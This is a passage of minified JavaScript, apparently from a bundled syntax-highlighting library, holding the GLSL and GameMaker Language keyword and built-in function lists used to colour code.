gl_MaxTessPatchComponents gl_MaxTextureCoords gl_MaxTextureImageUnits gl_MaxTextureUnits gl_MaxVaryingComponents gl_MaxVaryingFloats gl_MaxVaryingVectors gl_MaxVertexAtomicCounterBuffers gl_MaxVertexAtomicCounters gl_MaxVertexAttribs gl_MaxVertexImageUniforms gl_MaxVertexOutputComponents gl_MaxVertexOutputVectors gl_MaxVertexTextureImageUnits gl_MaxVertexUniformComponents gl_MaxVertexUniformVectors gl_MaxViewports gl_MinProgramTexelOffset gl_BackColor gl_BackLightModelProduct gl_BackLightProduct gl_BackMaterial gl_BackSecondaryColor gl_ClipDistance gl_ClipPlane gl_ClipVertex gl_Color gl_DepthRange gl_EyePlaneQ gl_EyePlaneR gl_EyePlaneS gl_EyePlaneT gl_Fog gl_FogCoord gl_FogFragCoord gl_FragColor gl_FragCoord gl_FragData gl_FragDepth gl_FrontColor gl_FrontFacing gl_FrontLightModelProduct gl_FrontLightProduct gl_FrontMaterial gl_FrontSecondaryColor gl_GlobalInvocationID gl_InstanceID gl_InvocationID gl_Layer gl_LightModel gl_LightSource gl_LocalInvocationID gl_LocalInvocationIndex gl_ModelViewMatrix gl_ModelViewMatrixInverse gl_ModelViewMatrixInverseTranspose gl_ModelViewMatrixTranspose gl_ModelViewProjectionMatrix gl_ModelViewProjectionMatrixInverse gl_ModelViewProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixTranspose gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_Normal gl_NormalMatrix gl_NormalScale gl_NumSamples gl_NumWorkGroups gl_ObjectPlaneQ gl_ObjectPlaneR gl_ObjectPlaneS gl_ObjectPlaneT gl_PatchVerticesIn gl_Point gl_PointCoord gl_PointSize gl_Position gl_PrimitiveID gl_PrimitiveIDIn gl_ProjectionMatrix gl_ProjectionMatrixInverse gl_ProjectionMatrixInverseTranspose gl_ProjectionMatrixTranspose gl_SampleID gl_SampleMask gl_SampleMaskIn gl_SamplePosition gl_SecondaryColor gl_TessCoord gl_TessLevelInner gl_TessLevelOuter gl_TexCoord gl_TextureEnvColor gl_TextureMatrix gl_TextureMatrixInverse gl_TextureMatrixInverseTranspose gl_TextureMatrixTranspose gl_Vertex gl_VertexID gl_ViewportIndex gl_WorkGroupID gl_WorkGroupSize gl_in gl_out EmitStreamVertex EmitVertex EndPrimitive EndStreamPrimitive abs acos acosh all any asin asinh atan atanh atomicAdd atomicAnd atomicCompSwap atomicCounter atomicCounterDecrement atomicCounterIncrement atomicExchange atomicMax atomicMin atomicOr atomicXor barrier bitCount bitfieldExtract bitfieldInsert bitfieldReverse ceil clamp cos cosh cross dFdx dFdy degrees determinant distance dot equal exp exp2 faceforward findLSB findMSB floatBitsToInt floatBitsToUint floor fma fract frexp ftransform fwidth greaterThan greaterThanEqual groupMemoryBarrier imageAtomicAdd imageAtomicAnd imageAtomicCompSwap imageAtomicExchange imageAtomicMax imageAtomicMin imageAtomicOr imageAtomicXor imageLoad imageSize imageStore imulExtended intBitsToFloat interpolateAtCentroid interpolateAtOffset interpolateAtSample inverse inversesqrt isinf isnan ldexp length lessThan lessThanEqual log log2 matrixCompMult max memoryBarrier memoryBarrierAtomicCounter memoryBarrierBuffer memoryBarrierImage memoryBarrierShared min mix mod modf noise1 noise2 noise3 noise4 normalize not notEqual outerProduct packDouble2x32 packHalf2x16 packSnorm2x16 packSnorm4x8 packUnorm2x16 packUnorm4x8 pow radians reflect refract round roundEven shadow1D shadow1DLod shadow1DProj shadow1DProjLod shadow2D shadow2DLod shadow2DProj shadow2DProjLod sign sin sinh smoothstep sqrt step tan tanh texelFetch texelFetchOffset texture texture1D texture1DLod texture1DProj texture1DProjLod texture2D texture2DLod texture2DProj texture2DProjLod texture3D texture3DLod texture3DProj texture3DProjLod textureCube textureCubeLod textureGather textureGatherOffset textureGatherOffsets textureGrad textureGradOffset textureLod textureLodOffset textureOffset textureProj textureProjGrad textureProjGradOffset textureProjLod textureProjLodOffset textureProjOffset textureQueryLevels textureQueryLod textureSize transpose trunc uaddCarry uintBitsToFloat umulExtended unpackDouble2x32 unpackHalf2x16 unpackSnorm2x16 unpackSnorm4x8 unpackUnorm2x16 unpackUnorm4x8 usubBorrow",literal:"true false"},illegal:'"',contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.C_NUMBER_MODE,{className:"meta",begin:"#",end:"$"}]}}EJ8.exports=VPq});var LJ8=v((ACz,CJ8)=>{function fPq(A){return{name:"GML",case_insensitive:!1,keywords:{keyword:"begin end if then else while do for break continue with until repeat exit and or xor not return mod div switch case default var globalvar enum function constructor delete #macro #region #endregion",built_in:"is_real is_string is_array is_undefined is_int32 is_int64 is_ptr is_vec3 is_vec4 is_matrix is_bool is_method is_struct is_infinity is_nan is_numeric typeof variable_global_exists variable_global_get variable_global_set variable_instance_exists variable_instance_get variable_instance_set variable_instance_get_names variable_struct_exists variable_struct_get variable_struct_get_names variable_struct_names_count variable_struct_remove variable_struct_set array_delete array_insert array_length array_length_1d array_length_2d array_height_2d array_equals array_create array_copy array_pop array_push array_resize array_sort random random_range irandom irandom_range random_set_seed random_get_seed randomize randomise choose abs round floor ceil sign frac sqrt sqr exp ln log2 log10 sin cos tan arcsin arccos arctan arctan2 dsin dcos dtan darcsin darccos darctan darctan2 degtorad radtodeg power logn min max mean median clamp lerp dot_product dot_product_3d dot_product_normalised dot_product_3d_normalised dot_product_normalized dot_product_3d_normalized math_set_epsilon math_get_epsilon angle_difference point_distance_3d point_distance point_direction lengthdir_x lengthdir_y real string int64 ptr string_format chr ansi_char ord string_length string_byte_length string_pos string_copy string_char_at string_ord_at string_byte_at string_set_byte_at string_delete string_insert string_lower string_upper string_repeat string_letters string_digits string_lettersdigits string_replace string_replace_all string_count string_hash_to_newline clipboard_has_text clipboard_set_text clipboard_get_text date_current_datetime date_create_datetime date_valid_datetime date_inc_year date_inc_month date_inc_week date_inc_day date_inc_hour date_inc_minute date_inc_second date_get_year date_get_month date_get_week date_get_day date_get_hour date_get_minute date_get_second date_get_weekday date_get_day_of_year date_get_hour_of_year date_get_minute_of_year date_get_second_of_year date_year_span date_month_span date_week_span date_day_span date_hour_span date_minute_span date_second_span date_compare_datetime date_compare_date date_compare_time date_date_of date_time_of date_datetime_string date_date_string date_time_string date_days_in_month date_days_in_year date_leap_year date_is_today date_set_timezone date_get_timezone game_set_speed game_get_speed motion_set motion_add place_free place_empty place_meeting place_snapped move_random move_snap move_towards_point move_contact_solid move_contact_all move_outside_solid move_outside_all move_bounce_solid move_bounce_all move_wrap distance_to_point distance_to_object position_empty position_meeting path_start path_end mp_linear_step mp_potential_step mp_linear_step_object mp_potential_step_object mp_potential_settings mp_linear_path mp_potential_path mp_linear_path_object mp_potential_path_object mp_grid_create mp_grid_destroy mp_grid_clear_all mp_grid_clear_cell mp_grid_clear_rectangle mp_grid_add_cell mp_grid_get_cell mp_grid_add_rectangle mp_grid_add_instances mp_grid_path mp_grid_draw mp_grid_to_ds_grid collision_point collision_rectangle collision_circle collision_ellipse collision_line collision_point_list collision_rectangle_list collision_circle_list collision_ellipse_list collision_line_list instance_position_list instance_place_list point_in_rectangle point_in_triangle point_in_circle rectangle_in_rectangle rectangle_in_triangle rectangle_in_circle instance_find instance_exists instance_number instance_position instance_nearest instance_furthest instance_place instance_create_depth instance_create_layer instance_copy instance_change instance_destroy position_destroy position_change instance_id_get instance_deactivate_all instance_deactivate_object instance_deactivate_region instance_activate_all instance_activate_object instance_activate_region room_goto room_goto_previous room_goto_next room_previous room_next room_restart game_end game_restart game_load game_save game_save_buffer game_load_buffer event_perform event_user event_perform_object event_inherited show_debug_message show_debug_overlay debug_event debug_get_callstack alarm_get alarm_set font_texture_page_size keyboard_set_map keyboard_get_map keyboard_unset_map keyboard_check keyboard_check_pressed keyboard_check_released keyboard_check_direct keyboard_get_numlock keyboard_set_numlock keyboard_key_press keyboard_key_release keyboard_clear io_clear mouse_check_button mouse_check_button_pressed mouse_check_button_released mouse_wheel_up mouse_wheel_down mouse_clear draw_self draw_sprite draw_sprite_pos draw_sprite_ext draw_sprite_stretched draw_sprite_stretched_ext draw_sprite_tiled draw_sprite_tiled_ext draw_sprite_part draw_sprite_part_ext draw_sprite_general draw_clear draw_clear_alpha draw_point draw_line draw_line_width draw_rectangle draw_roundrect draw_roundrect_ext draw_triangle draw_circle draw_ellipse draw_set_circle_precision draw_arrow draw_button draw_path draw_healthbar draw_getpixel draw_getpixel_ext draw_set_colour draw_set_color draw_set_alpha draw_get_colour draw_get_color draw_get_alpha merge_colour make_colour_rgb make_colour_hsv colour_get_red colour_get_green colour_get_blue colour_get_hue colour_get_saturation colour_get_value merge_color make_color_rgb make_color_hsv color_get_red color_get_green color_get_blue color_get_hue color_get_saturation color_get_value merge_color screen_save screen_save_part draw_set_font draw_set_halign draw_set_valign draw_text draw_text_ext string_width string_height string_width_ext string_height_ext draw_text_transformed draw_text_ext_transformed draw_text_colour draw_text_ext_colour draw_text_transformed_colour draw_text_ext_transformed_colour draw_text_color draw_text_ext_color draw_text_transformed_color draw_text_ext_transformed_color draw_point_colour draw_line_colour draw_line_width_colour draw_rectangle_colour draw_roundrect_colour draw_roundrect_colour_ext draw_triangle_colour draw_circle_colour draw_ellipse_colour draw_point_color draw_line_color draw_line_width_color draw_rectangle_color draw_roundrect_color draw_roundrect_color_ext draw_triangle_color draw_circle_color draw_ellipse_color draw_primitive_begin draw_vertex draw_vertex_colour draw_vertex_color draw_primitive_end sprite_get_uvs font_get_uvs sprite_get_texture font_get_texture texture_get_width texture_get_height texture_get_uvs draw_primitive_begin_texture draw_vertex_texture draw_vertex_texture_colour draw_vertex_texture_color texture_global_scale surface_create surface_create_ext surface_resize surface_free surface_exists surface_get_width surface_get_height surface_get_texture surface_set_target surface_set_target_ext surface_reset_target surface_depth_disable surface_get_depth_disable draw_surface draw_surface_stretched draw_surface_tiled draw_surface_part draw_surface_ext draw_surface_stretched_ext draw_surface_tiled_ext draw_surface_part_ext draw_surface_general surface_getpixel surface_getpixel_ext surface_save surface_save_part surface_copy surface_copy_part application_surface_draw_enable application_get_position application_surface_enable application_surface_is_enabled display_get_width display_get_height display_get_orientation display_get_gui_width display_get_gui_height display_reset display_mouse_get_x display_mouse_get_y display_mouse_set display_set_ui_visibility window_set_fullscreen window_get_fullscreen window_set_caption window_set_min_width window_set_max_width window_set_min_height window_set_max_height window_get_visible_rects window_get_caption window_set_cursor window_get_cursor window_set_colour window_get_colour window_set_color window_get_color window_set_position window_set_size window_set_rectangle window_center window_get_x window_get_y window_get_width window_get_height window_mouse_get_x window_mouse_get_y window_mouse_set window_view_mouse_get_x window_view_mouse_get_y window_views_mouse_get_x window_views_mouse_get_y audio_listener_position audio_listener_velocity audio_listener_orientation audio_emitter_position audio_emitter_create audio_emitter_free audio_emitter_exists audio_emitter_pitch audio_emitter_velocity audio_emitter_falloff audio_emitter_gain audio_play_sound audio_play_sound_on audio_play_sound_at audio_stop_sound audio_resume_music audio_music_is_playing audio_resume_sound audio_pause_sound audio_pause_music audio_channel_num audio_sound_length audio_get_type audio_falloff_set_model audio_play_music audio_stop_music audio_master_gain audio_music_gain audio_sound_gain audio_sound_pitch audio_stop_all audio_resume_all audio_pause_all audio_is_playing audio_is_paused audio_exists audio_sound_set_track_position audio_sound_get_track_position audio_emitter_get_gain audio_emitter_get_pitch audio_emitter_get_x audio_emitter_get_y audio_emitter_get_z audio_emitter_get_vx audio_emitter_get_vy audio_emitter_get_vz audio_listener_set_position audio_listener_set_velocity audio_listener_set_orientation audio_listener_get_data audio_set_master_gain audio_get_master_gain audio_sound_get_gain audio_sound_get_pitch audio_get_name audio_sound_set_track_position audio_sound_get_track_position audio_create_stream audio_destroy_stream audio_create_sync_group audio_destroy_sync_group audio_play_in_sync_group audio_start_sync_group audio_stop_sync_group audio_pause_sync_group audio_resume_sync_group audio_sync_group_get_track_pos audio_sync_group_debug audio_sync_group_is_playing audio_debug audio_group_load audio_group_unload audio_group_is_loaded audio_group_load_progress audio_group_name audio_group_stop_all audio_group_set_gain audio_create_buffer_sound audio_free_buffer_sound audio_create_play_queue audio_free_play_queue audio_queue_sound audio_get_recorder_count audio_get_recorder_info audio_start_recording audio_stop_recording audio_sound_get_listener_mask audio_emitter_get_listener_mask audio_get_listener_mask audio_sound_set_listener_mask audio_emitter_set_listener_mask audio_set_listener_mask audio_get_listener_count audio_get_listener_info audio_system show_message show_message_async clickable_add clickable_add_ext clickable_change clickable_change_ext clickable_delete clickable_exists clickable_set_style show_question show_question_async get_integer get_string get_integer_async get_string_async get_login_async get_open_filename get_save_filename get_open_filename_ext get_save_filename_ext show_error highscore_clear highscore_add highscore_value highscore_name draw_highscore sprite_exists sprite_get_name sprite_get_number sprite_get_width sprite_get_height sprite_get_xoffset sprite_get_yoffset sprite_get_bbox_left sprite_get_bbox_right sprite_get_bbox_top sprite_get_bbox_bottom sprite_save sprite_save_strip sprite_set_cache_size sprite_set_cache_size_ext sprite_get_tpe sprite_prefetch sprite_prefetch_multi sprite_flush sprite_flush_multi sprite_set_speed sprite_get_speed_type sprite_get_speed font_exists font_get_name font_get_fontname font_get_bold font_get_italic font_get_first font_get_last font_get_size font_set_cache_size path_exists path_get_name path_get_length path_get_time path_get_kind path_get_closed path_get_precision path_get_number path_get_point_x path_get_point_y path_get_point_speed path_get_x path_get_y path_get_speed script_exists script_get_name timeline_add timeline_delete timeline_clear timeline_exists timeline_get_name timeline_moment_clear timeline_moment_add_script timeline_size timeline_max_moment object_exists object_get_name object_get_sprite object_get_solid object_get_visible object_get_persistent object_get_mask object_get_parent object_get_physics object_is_ancestor room_exists room_get_name sprite_set_offset sprite_duplicate sprite_assign sprite_merge sprite_add sprite_replace sprite_create_from_surface sprite_add_from_surface sprite_delete sprite_set_alpha_from_sprite sprite_collision_mask font_add_enable_aa font_add_get_enable_aa font_add font_add_sprite font_add_sprite_ext font_replace font_replace_sprite font_replace_sprite_ext font_delete path_set_kind path_set_closed path_set_precision path_add path_assign path_duplicate path_append path_delete path_add_point path_insert_point path_change_point path_delete_point path_clear_points path_reverse path_mirror path_flip path_rotate path_rescale path_shift script_execute object_set_sprite object_set_solid object_set_visible object_set_persistent object_set_mask room_set_width room_set_height room_set_persistent room_set_background_colour room_set_background_color room_set_view room_set_viewport room_get_viewport room_set_view_enabled room_add room_duplicate room_assign room_instance_add room_instance_clear room_get_camera room_set_camera asset_get_index asset_get_type file_text_open_from_string file_text_open_read file_text_open_write file_text_open_append file_text_close file_text_write_string file_text_write_real file_text_writeln file_text_read_string file_text_read_real file_text_readln file_text_eof file_text_eoln file_exists file_delete file_rename file_copy directory_exists directory_create directory_destroy file_find_first file_find_next file_find_close file_attributes filename_name filename_path filename_dir filename_drive filename_ext filename_change_ext file_bin_open file_bin_rewrite file_bin_close file_bin_position file_bin_size file_bin_seek file_bin_write_byte file_bin_read_byte parameter_count parameter_string environment_get_variable ini_open_from_string ini_open ini_close ini_read_string ini_read_real ini_write_string ini_write_real ini_key_exists ini_section_exists ini_key_delete ini_section_delete ds_set_precision ds_exists ds_stack_create ds_stack_destroy ds_stack_clear ds_stack_copy ds_stack_size ds_stack_empty ds_stack_push ds_stack_pop ds_stack_top ds_stack_write ds_stack_read ds_queue_create ds_queue_destroy ds_queue_clear ds_queue_copy ds_queue_size ds_queue_empty ds_queue_enqueue ds_queue_dequeue ds_queue_head ds_queue_tail ds_queue_write ds_queue_read ds_list_create ds_list_destroy ds_list_clear ds_list_copy ds_list_size ds_list_empty ds_list_add ds_list_insert ds_list_replace ds_list_delete ds_list_find_index ds_list_find_value ds_list_mark_as_list ds_list_mark_as_map ds_list_sort ds_list_shuffle ds_list_write ds_list_read ds_list_set ds_map_create ds_map_destroy ds_map_clear ds_map_copy ds_map_size ds_map_empty ds_map_add ds_map_add_list ds_map_add_map ds_map_replace ds_map_replace_map ds_map_replace_list ds_map_delete ds_map_exists ds_map_find_value ds_map_find_previous ds_map_find_next ds_map_find_first ds_map_find_last ds_map_write ds_map_read ds_map_secure_save ds_map_secure_load ds_map_secure_load_buffer ds_map_secure_save_buffer ds_map_set ds_priority_create ds_priority_destroy ds_priority_clear ds_priority_copy ds_priority_size ds_priority_empty ds_priority_add ds_priority_change_priority ds_priority_find_priority ds_priority_delete_value ds_priority_delete_min ds_priority_find_min ds_priority_delete_max ds_priority_find_max ds_priority_write ds_priority_read ds_grid_create ds_grid_destroy ds_grid_copy ds_grid_resize ds_grid_width ds_grid_height ds_grid_clear ds_grid_set ds_grid_add ds_grid_multiply ds_grid_set_region ds_grid_add_region ds_grid_multiply_region ds_grid_set_disk ds_grid_add_disk ds_grid_multiply_disk ds_grid_set_grid_region ds_grid_add_grid_region ds_grid_multiply_grid_region ds_grid_get ds_grid_get_sum ds_grid_get_max ds_grid_get_min ds_grid_get_mean ds_grid_get_disk_sum ds_grid_get_disk_min ds_grid_get_disk_max ds_grid_get_disk_mean ds_grid_value_exists ds_grid_value_x ds_grid_value_y ds_grid_value_disk_exists ds_grid_value_disk_x ds_grid_value_disk_y ds_grid_shuffle ds_grid_write ds_grid_read ds_grid_sort ds_grid_set ds_grid_get effect_create_below effect_create_above effect_clear part_type_create part_type_destroy part_type_exists part_type_clear part_type_shape part_type_sprite part_type_size part_type_scale part_type_orientation part_type_life part_type_step part_type_death part_type_speed part_type_direction part_type_gravity part_type_colour1 part_type_colour2 part_type_colour3 part_type_colour_mix part_type_colour_rgb part_type_colour_hsv part_type_color1 part_type_color2 part_type_color3 part_type_color_mix part_type_color_rgb part_type_color_hsv part_type_alpha1 part_type_alpha2 part_type_alpha3 part_type_blend part_system_create part_system_create_layer part_system_destroy part_system_exists part_system_clear part_system_draw_order part_system_depth part_system_position part_system_automatic_update part_system_automatic_draw part_system_update part_system_drawit part_system_get_layer part_system_layer part_particles_create part_particles_create_colour part_particles_create_color part_particles_clear part_particles_count part_emitter_create part_emitter_destroy part_emitter_destroy_all part_emitter_exists part_emitter_clear part_emitter_region part_emitter_burst part_emitter_stream external_call external_define external_free window_handle window_device matrix_get matrix_set matrix_build_identity matrix_build matrix_build_lookat matrix_build_projection_ortho matrix_build_projection_perspective matrix_build_projection_perspective_fov matrix_multiply matrix_transform_vertex matrix_stack_push matrix_stack_pop matrix_stack_multiply matrix_stack_set matrix_stack_clear matrix_stack_top matrix_stack_is_empty browser_input_capture os_get_config os_get_info os_get_language os_get_region os_lock_orientation display_get_dpi_x display_get_dpi_y display_set_gui_size display_set_gui_maximise display_set_gui_maximize device_mouse_dbclick_enable display_set_timing_method display_get_timing_method display_set_sleep_margin display_get_sleep_margin virtual_key_add virtual_key_hide virtual_key_delete virtual_key_show draw_enable_drawevent draw_enable_swf_aa draw_set_swf_aa_level draw_get_swf_aa_level draw_texture_flush draw_flush gpu_set_blendenable gpu_set_ztestenable gpu_set_zfunc gpu_set_zwriteenable gpu_set_lightingenable gpu_set_fog gpu_set_cullmode gpu_set_blendmode gpu_set_blendmode_ext gpu_set_blendmode_ext_sepalpha gpu_set_colorwriteenable gpu_set_colourwriteenable gpu_set_alphatestenable gpu_set_alphatestref gpu_set_alphatestfunc gpu_set_texfilter gpu_set_texfilter_ext gpu_set_texrepeat gpu_set_texrepeat_ext gpu_set_tex_filter gpu_set_tex_filter_ext gpu_set_tex_repeat gpu_set_tex_repeat_ext gpu_set_tex_mip_filter gpu_set_tex_mip_filter_ext gpu_set_tex_mip_bias gpu_set_tex_mip_bias_ext gpu_set_tex_min_mip gpu_set_tex_min_mip_ext gpu_set_tex_max_mip gpu_set_tex_max_mip_ext gpu_set_tex_max_aniso gpu_set_tex_max_aniso_ext gpu_set_tex_mip_enable gpu_set_tex_mip_enable_ext gpu_get_blendenable gpu_get_ztestenable gpu_get_zfunc gpu_get_zwriteenable gpu_get_lightingenable gpu_get_fog gpu_get_cullmode gpu_get_blendmode gpu_get_blendmode_ext gpu_get_blendmode_ext_sepalpha gpu_get_blendmode_src gpu_get_blendmode_dest gpu_get_blendmode_srcalpha gpu_get_blendmode_destalpha gpu_get_colorwriteenable gpu_get_colourwriteenable gpu_get_alphatestenable gpu_get_alphatestref gpu_get_alphatestfunc gpu_get_texfilter gpu_get_texfilter_ext gpu_get_texrepeat gpu_get_texrepeat_ext gpu_get_tex_filter gpu_get_tex_filter_ext gpu_get_tex_repeat gpu_get_tex_repeat_ext gpu_get_tex_mip_filter gpu_get_tex_mip_filter_ext gpu_get_tex_mip_bias gpu_get_tex_mip_bias_ext gpu_get_tex_min_mip gpu_get_tex_min_mip_ext gpu_get_tex_max_mip gpu_get_tex_max_mip_ext gpu_get_tex_max_aniso gpu_get_tex_max_aniso_ext gpu_get_tex_mip_enable gpu_get_tex_mip_enable_ext gpu_push_state gpu_pop_state gpu_get_state gpu_set_state draw_light_define_ambient draw_light_define_direction draw_light_define_point draw_light_enable draw_set_lighting draw_light_get_ambient draw_light_get draw_get_lighting shop_leave_rating url_get_domain url_open url_open_ext url_open_full get_timer achievement_login achievement_logout achievement_post achievement_increment achievement_post_score achievement_available achievement_show_achievements achievement_show_leaderboards achievement_load_friends achievement_load_leaderboard achievement_send_challenge achievement_load_progress achievement_reset achievement_login_status achievement_get_pic achievement_show_challenge_notifications achievement_get_challenges achievement_event achievement_show achievement_get_info cloud_file_save cloud_string_save cloud_synchronise ads_enable ads_disable ads_setup ads_engagement_launch ads_engagement_available ads_engagement_active ads_event ads_event_preload ads_set_reward_callback ads_get_display_height ads_get_display_width ads_move ads_interstitial_available ads_interstitial_display device_get_tilt_x device_get_tilt_y device_get_tilt_z device_is_keypad_open device_mouse_check_button device_mouse_check_button_pressed device_mouse_check_button_released device_mouse_x device_mouse_y device_mouse_raw_x device_mouse_raw_y device_mouse_x_to_gui device_mouse_y_to_gui iap_activate iap_status iap_enumerate_products iap_restore_all iap_acquire iap_consume iap_product_details iap_purchase_details facebook_init facebook_login facebook_status facebook_graph_request facebook_dialog facebook_logout facebook_launch_offerwall facebook_post_message facebook_send_invite facebook_user_id facebook_accesstoken facebook_check_permission facebook_request_read_permissions facebook_request_publish_permissions gamepad_is_supported gamepad_get_device_count gamepad_is_connected gamepad_get_description gamepad_get_button_threshold gamepad_set_button_threshold gamepad_get_axis_deadzone gamepad_set_axis_deadzone gamepad_button_count gamepad_button_check gamepad_button_check_pressed gamepad_button_check_released gamepad_button_value gamepad_axis_count gamepad_axis_value gamepad_set_vibration gamepad_set_colour gamepad_set_color os_is_paused window_has_focus code_is_compiled http_get http_get_file http_post_string http_request json_encode json_decode zip_unzip load_csv base64_encode base64_decode md5_string_unicode md5_string_utf8 md5_file os_is_network_connected sha1_string_unicode sha1_string_utf8 sha1_file os_powersave_enable analytics_event analytics_event_ext win8_livetile_tile_notification win8_livetile_tile_clear win8_livetile_badge_notification win8_livetile_badge_clear win8_livetile_queue_enable win8_secondarytile_pin win8_secondarytile_badge_notification win8_secondarytile_delete win8_livetile_notification_begin win8_livetile_notification_secondary_begin win8_livetile_notification_expiry win8_livetile_notification_tag win8_livetile_notification_text_add win8_livetile_notification_image_add win8_livetile_notification_end win8_appbar_enable win8_appbar_add_element win8_appbar_remove_element win8_settingscharm_add_entry win8_settingscharm_add_html_entry win8_settingscharm_add_xaml_entry win8_settingscharm_set_xaml_property win8_settingscharm_get_xaml_property win8_settingscharm_remove_entry win8_share_image win8_share_screenshot win8_share_file win8_share_url win8_share_text win8_search_enable win8_search_disable win8_search_add_suggestions win8_device_touchscreen_available win8_license_initialize_sandbox win8_license_trial_version winphone_license_trial_version winphone_tile_title winphone_tile_count winphone_tile_back_title winphone_tile_back_content winphone_tile_back_content_wide winphone_tile_front_image winphone_tile_front_image_small winphone_tile_front_image_wide winphone_tile_back_image winphone_tile_back_image_wide winphone_tile_background_colour winphone_tile_background_color winphone_tile_icon_image winphone_tile_small_icon_image winphone_tile_wide_content winphone_tile_cycle_images winphone_tile_small_background_image physics_world_create physics_world_gravity physics_world_update_speed physics_world_update_iterations physics_world_draw_debug physics_pause_enable physics_fixture_create physics_fixture_set_kinematic physics_fixture_set_density physics_fixture_set_awake physics_fixture_set_restitution physics_fixture_set_friction physics_fixture_set_collision_group physics_fixture_set_sensor physics_fixture_set_linear_damping physics_fixture_set_angular_damping physics_fixture_set_circle_shape physics_fixture_set_box_shape physics_fixture_set_edge_shape physics_fixture_set_polygon_shape physics_fixture_set_chain_shape physics_fixture_add_point physics_fixture_bind physics_fixture_bind_ext physics_fixture_delete physics_apply_force physics_apply_impulse physics_apply_angular_impulse physics_apply_local_force physics_apply_local_impulse physics_apply_torque physics_mass_properties physics_draw_debug physics_test_overlap physics_remove_fixture physics_set_friction physics_set_density physics_set_restitution physics_get_friction physics_get_density physics_get_restitution physics_joint_distance_create physics_joint_rope_create physics_joint_revolute_create physics_joint_prismatic_create physics_joint_pulley_create physics_joint_wheel_create physics_joint_weld_create physics_joint_friction_create physics_joint_gear_create physics_joint_enable_motor physics_joint_get_value physics_joint_set_value physics_joint_delete physics_particle_create physics_particle_delete physics_particle_delete_region_circle physics_particle_delete_region_box physics_particle_delete_region_poly physics_particle_set_flags physics_particle_set_category_flags physics_particle_draw physics_particle_draw_ext physics_particle_count physics_particle_get_data physics_particle_get_data_particle physics_particle_group_begin physics_particle_group_circle physics_particle_group_box physics_particle_group_polygon physics_particle_group_add_point physics_particle_group_end physics_particle_group_join physics_particle_group_delete physics_particle_group_count physics_particle_group_get_data physics_particle_group_get_mass physics_particle_group_get_inertia physics_particle_group_get_centre_x physics_particle_group_get_centre_y physics_particle_group_get_vel_x physics_particle_group_get_vel_y physics_particle_group_get_ang_vel physics_particle_group_get_x physics_particle_group_get_y physics_particle_group_get_angle physics_particle_set_group_flags physics_particle_get_group_flags physics_particle_get_max_count physics_particle_get_radius physics_particle_get_density physics_particle_get_damping physics_particle_get_gravity_scale physics_particle_set_max_count physics_particle_set_radius physics_particle_set_density physics_particle_set_damping physics_particle_set_gravity_scale network_create_socket network_create_socket_ext network_create_server network_create_server_raw network_connect network_connect_raw network_send_packet network_send_raw network_send_broadcast network_send_udp network_send_udp_raw network_set_timeout network_set_config network_resolve network_destroy buffer_create buffer_write buffer_read buffer_seek buffer_get_surface buffer_set_surface buffer_delete buffer_exists buffer_get_type buffer_get_alignment buffer_poke buffer_peek buffer_save buffer_save_ext buffer_load buffer_load_ext buffer_load_partial buffer_copy buffer_fill buffer_get_size buffer_tell buffer_resize buffer_md5 buffer_sha1 buffer_base64_encode buffer_base64_decode buffer_base64_decode_ext buffer_sizeof buffer_get_address buffer_create_from_vertex_buffer buffer_create_from_vertex_buffer_ext buffer_copy_from_vertex_buffer buffer_async_group_begin buffer_async_group_option buffer_async_group_end buffer_load_async buffer_save_async gml_release_mode gml_pragma steam_activate_overlay steam_is_overlay_enabled steam_is_overlay_activated steam_get_persona_name steam_initialised steam_is_cloud_enabled_for_app steam_is_cloud_enabled_for_account steam_file_persisted steam_get_quota_total steam_get_quota_free steam_file_write steam_file_write_file steam_file_read steam_file_delete steam_file_exists steam_file_size steam_file_share steam_is_screenshot_requested steam_send_screenshot steam_is_user_logged_on steam_get_user_steam_id steam_user_owns_dlc steam_user_installed_dlc steam_set_achievement steam_get_achievement steam_clear_achievement steam_set_stat_int steam_set_stat_float steam_set_stat_avg_rate steam_get_stat_int steam_get_stat_float steam_get_stat_avg_rate steam_reset_all_stats steam_reset_all_stats_achievements steam_stats_ready steam_create_leaderboard steam_upload_score steam_upload_score_ext steam_download_scores_around_user steam_download_scores steam_download_friends_scores steam_upload_score_buffer steam_upload_score_buffer_ext steam_current_game_language steam_available_languages steam_activate_overlay_browser steam_activate_overlay_user steam_activate_overlay_store steam_get_user_persona_name steam_get_app_id steam_get_user_account_id steam_ugc_download steam_ugc_create_item steam_ugc_start_item_update steam_ugc_set_item_title steam_ugc_set_item_description steam_ugc_set_item_visibility steam_ugc_set_item_tags steam_ugc_set_item_content steam_ugc_set_item_preview steam_ugc_submit_item_update steam_ugc_get_item_update_progress steam_ugc_subscribe_item steam_ugc_unsubscribe_item steam_ugc_num_subscribed_items steam_ugc_get_subscribed_items steam_ugc_get_item_install_info steam_ugc_get_item_update_info steam_ugc_request_item_details steam_ugc_create_query_user steam_ugc_create_query_user_ex steam_ugc_create_query_all steam_ugc_create_query_all_ex steam_ugc_query_set_cloud_filename_filter steam_ugc_query_set_match_any_tag steam_ugc_query_set_search_text steam_ugc_query_set_ranked_by_trend_days steam_ugc_query_add_required_tag steam_ugc_query_add_excluded_tag steam_ugc_query_set_return_long_description steam_ugc_query_set_return_total_only steam_ugc_query_set_allow_cached_response steam_ugc_send_query shader_set shader_get_name shader_reset shader_current shader_is_compiled shader_get_sampler_index shader_get_uniform shader_set_uniform_i shader_set_uniform_i_array shader_set_uniform_f shader_set_uniform_f_array shader_set_uniform_matrix shader_set_uniform_matrix_array shader_enable_corner_id texture_set_stage texture_get_texel_width texture_get_texel_height shaders_are_supported vertex_format_begin vertex_format_end vertex_format_delete vertex_format_add_position vertex_format_add_position_3d vertex_format_add_colour vertex_format_add_color vertex_format_add_normal vertex_format_add_texcoord vertex_format_add_textcoord vertex_format_add_custom vertex_create_buffer vertex_create_buffer_ext vertex_delete_buffer vertex_begin vertex_end vertex_position vertex_position_3d vertex_colour vertex_color vertex_argb vertex_texcoord vertex_normal vertex_float1 vertex_float2 vertex_float3 vertex_float4 vertex_ubyte4 vertex_submit vertex_freeze vertex_get_number vertex_get_buffer_size vertex_create_buffer_from_buffer vertex_create_buffer_from_buffer_ext push_local_notification push_get_first_local_notification push_get_next_local_notification push_cancel_local_notification skeleton_animation_set skeleton_animation_get skeleton_animation_mix 